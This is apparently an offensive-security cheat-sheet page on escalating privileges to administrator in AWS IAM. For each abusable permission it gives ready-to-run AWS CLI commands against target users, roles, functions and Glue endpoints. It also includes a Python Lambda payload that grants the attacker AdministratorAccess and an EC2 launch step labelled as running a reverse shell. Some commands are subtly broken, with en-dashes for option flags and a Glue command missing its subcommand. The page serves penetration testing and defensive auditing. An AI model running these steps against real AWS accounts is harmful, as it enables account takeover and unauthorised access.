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AWS - Identity & Access Management

AWS - Shadow Admin

Admin equivalent permission

  • AdministratorAccess

    "Action": "*"
"Resource": "*"

  • ec2:AssociateIamInstanceProfile : attach an IAM instance profile to an EC2 instance 

    aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789

  • iam:CreateAccessKey : create a new access key to another IAM admin account 

    aws iam create-access-key –user-name target_user

  • iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it 

    $ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

  • iam:UpdateLoginProfile : reset other IAM users’ login passwords. 

    $ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required

  • iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses 

    $ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess

  • iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities. 

    $ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json

  • iam:CreatePolicy : add a stealthy admin policy

  • iam:AddUserToGroup : add into the admin group of the organization. 

    $ aws iam add-user-to-group –group-name target_group –user-name my_username

  • iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account. 

    $ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json

  • iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one. 

    $ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

  • lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function. 

    $ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip

  • glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint. 

    $ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub

  • iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.

  • iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account. 

    # add ssh key
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
# execute a reverse shell
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh

  • iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account. 

    $ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
$ aws lambda invoke –function-name my_function output.txt
    Example of code.py 
    import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

  • iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account. 

    $ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub

References